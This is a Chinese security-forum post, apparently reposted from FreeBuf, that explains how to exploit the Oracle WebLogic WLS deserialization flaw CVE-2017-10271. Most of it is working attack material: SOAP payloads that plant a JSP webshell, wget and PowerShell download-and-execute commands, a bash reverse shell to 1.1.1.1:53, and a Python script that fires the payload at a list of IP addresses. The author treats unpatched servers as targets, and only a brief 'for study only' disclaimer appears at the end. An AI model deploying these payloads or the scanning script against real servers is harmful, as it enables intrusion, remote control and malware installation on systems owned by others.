搜索
查看: 1065|回复: 0

也谈Weblogic漏洞CVE-2017-10271的利用方法

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-1-30 16:25:07 | 显示全部楼层 |阅读模式
原文链接:http://www.freebuf.com/vuls/160367.html

WebLogic WLS 组件漏洞(CVE-2017-10271)自2017年12月22日爆出后,至今也有20多天了,相信有责任心的企业和网管已经将服务器的漏洞修复,而至今仍未修复漏洞的服务器,为我们进行漏洞测试提供了很好的靶子。目前针对该漏洞有两种比较成熟的利用方法,一种是利用写文件的方式GetShell,一种是利用命令执行的方式下载可执行文件。本文将结合作者的实际操作,分别介绍这两种利用方法。

一、漏洞简要回顾

CVE-2017-10271是利用Oracle WebLogic中WLS 组件的反序列化漏洞进行远程代码执行的,此漏洞影响的版本为10.3.6.0.0、12.1.3.0.0、12.2.1.0.0和12.2.1.2.0。对于漏洞的原理,这里就不介绍了,网上有详细的分析。该漏洞的利用方法相对简单,只需要向服务器页面 /wls-wsat/CoordinatorPortType 发送精心构造的 HTTP 请求,就可以执行相应的命令,完成相应的操作。

二、利用方法一

利用java.io.PrintWriter类进行文件创建,并向文件写入数据。

1、在服务器写入test.txt文件,文件内容为“Hello,Test!”,路径为:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt,代码如下。接下来访问服务器:http://.com/bea_wls_internal/test.txt,只要文件存在,就可判断漏洞存在。

  1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  2.     <soapenv:Header>
  3.         <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  4.             <java>
  5.                 <java version="1.8.0_131" class="java.beans.XMLDecoder">
  6.                     <object class="java.io.PrintWriter">
  7.                         <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string><void method="println">
  8.                         <string>Hello,Test!</string></void><void method="close"/>
  9.                     </object>
  10.                 </java>
  11.             </java>
  12.         </work:WorkContext>
  13.     </soapenv:Header>
  14.     <soapenv:Body/>
  15. </soapenv:Envelope>
复制代码

2、在服务器写入test.jsp文件,文件内容为jsp一句话木马,路径为:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp,代码如下。接下来访问服务器:http://.com/bea_wls_internal/test.jsp?pwd=test&i=<需要执行的命令>即可GetShell。

  1.                      ......
  2.                         <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
  3.                         <string><![CDATA[<%if("test".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
  4.                                 int a = -1;
  5.                                 byte[] b = new byte[2048];
  6.                                 out.print("<pre>");
  7.                                 while((a=in.read(b))!=-1){
  8.                                     out.println(new String(b));
  9.                                 }
  10.                                 out.print("</pre>");}%>]]></string></void><void method="close"/>

  11.                           .......
复制代码

[url=http://image.3001.net/images/20180115/15160109052551.jpg][/url]

三、利用方法二

利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令,下载可执行文件执行或者反弹shell。

&#8203; 1、通过执行wget、curl命令或者powershell,下载可执行文件并执行。目前挖矿大军基本都采用此方法,简单粗暴,不判断漏洞的存在性,直接下载并执行,成功一个算一个。


Linux代码为:

  1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  2.     <soapenv:Header>
  3.         <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  4.             <java version="1.8.0_131" class="java.beans.XMLDecoder">
  5.                 <void class="java.lang.ProcessBuilder">
  6.                     <array class="java.lang.String" length="3">
  7.                         <void index="0">
  8.                             <string>/bin/bash</string>
  9.                         </void>
  10.                         <void index="1">
  11.                             <string>-c</string>
  12.                         </void>
  13.                         <void index="2">
  14.                             <string>wget http://xxxx.com/xxx | /bin/bash xxx</string>
  15.                         </void>
  16.                     </array>
  17.                 <void method="start"/></void>
  18.             </java>
  19.         </work:WorkContext>
  20.     </soapenv:Header>
  21.     <soapenv:Body/>
  22. </soapenv:Envelope>
复制代码

Windows代码为:

  1.                     ......
  2.                     <array class="java.lang.String" length="3">
  3.                         <void index="0">
  4.                             <string>powershell</string>
  5.                         </void>
  6.                         <void index="1">
  7.                             <string>-Command</string>
  8.                         </void>
  9.                         <void index="2">
  10.                             <string>(New-Object System.Net.WebClient).DownloadFile('http://***.com/***.exe','***.exe');(New-Object -com Shell.Application).ShellExecute('***.exe');</string>
  11.                           ......
复制代码

2、通过执行ping命令,判断漏洞是否存在,再执行反弹shell命令。让目标服务器ping 1.1.1.1主机,在1.1.1.1上进行抓包,如果收到包数为3,ICMP数据大小为888的包,则判断漏洞存在,再执行反弹shell命令,将shell反弹至1.1.1.1的53端口。

  1.                    .......
  2.                         <void index="0">
  3.                             <string>/bin/bash</string>
  4.                         </void>
  5.                         <void index="1">
  6.                             <string>-c</string>
  7.                         </void>
  8.                         <void index="2">
  9.                             <string>ping -c 3 -s 888 1.1.1.1</string>
  10.                         </void>
  11.                       .......
复制代码
  1.                    ........
  2.                         <void index="0">
  3.                             <string>/bin/bash</string>
  4.                         </void>
  5.                         <void index="1">
  6.                             <string>-c</string>
  7.                         </void>
  8.                         <void index="2">
  9.                             <string>bash -i >& /dev/tcp/1.1.1.1/53 0>&1</string>
  10.                         </void>
  11.                     
复制代码

四、一些小体会
  1. 1、每一种方法都不是百分之百好用,因为每个服务器的配置和环境千差万别;

  2. 2、weblogic的服务端口可以是80,7001,7002等;

  3. 3、进行文件写入时,由于各服务器weblogic安装路径有差异,对写入的文件路径需要填写准确;

  4. 4、进行命令执行时,<arrayclass=”java.lang.String” length=”3″>这里的长度与下面void的个数对应,且index的值从0开始;

  5. 5、反弹shell需要确保服务器所在网络没有进行相关的设置,否则shell弹不回来;

  6. 6、目前来看,利用ping的方式判断漏洞存在的准确率较高,利用命令下载并执行的成功率较高,其他方法成功率都不高。
复制代码
五、附上自己写的python脚本(仅作测试)
  1. #coding:utf-8  
  2. #post.py
  3. &#8203;
  4. import urllib2
  5. import os
  6. import sys
  7. import socket
  8. import time

  9. payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  10.                 <soapenv:Header>
  11.                     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  12.                         <java version="1.8.0_131" class="java.beans.XMLDecoder">
  13.                             <void class="java.lang.ProcessBuilder">
  14.                                 <array class="java.lang.String" length="3">
  15.                                     *******
  16.                                 </array>
  17.                             <void method="start"/></void>
  18.                         </java>
  19.                     </work:WorkContext>
  20.                 </soapenv:Header>
  21.                 <soapenv:Body/>
  22.             </soapenv:Envelope>'''
  23.             
  24. def doPost(url,payload,header_dict):
  25.     req = urllib2.Request(url=url,data=payload,headers=header_dict)
  26.     try:
  27.         time.sleep(10)
  28.         res = urllib2.urlopen(req,timeout = 10)
  29.         res = res.read()
  30.         print ('OK')
  31.     except socket.timeout,e:
  32.         print ('Connet Timeout')
  33.         pass
  34.     except urllib2.URLError as error:
  35.         print (error.reason)
  36.         pass
  37.     except urllib2.HTTPError as error:
  38.         print (error.code)
  39.         pass
  40.    
  41. def main():
  42.     if len(sys.argv) == 2:
  43.         filename = sys.argv[1]
  44.         if not os.path.isfile(filename):
  45.             print('[-]' + filename + 'does not exit.')
  46.             exit(0)
  47.         ipList = open(filename)
  48.         for line in ipList.readlines():
  49.             line=line.strip('\n')
  50.             print('[-] ' + line )
  51.             urls = "http://" + line + "/wls-wsat/CoordinatorPortType"
  52.             header_dict = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko','Content-Type': 'text/xml','Upgrade-Insecure-Requests':'1','Host':line}
  53.             doPost(urls,payload1,header_dict)
  54.     else:
  55.         print('[-] Usage: ' + str(sys.argv[0]) + ' <ip filename>.')
  56.         
  57. if __name__ == '__main__':
  58.     main()
复制代码

注:本文方法代码完全公开,请仅作学习交流使用,其余用途与本文作者无关。






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表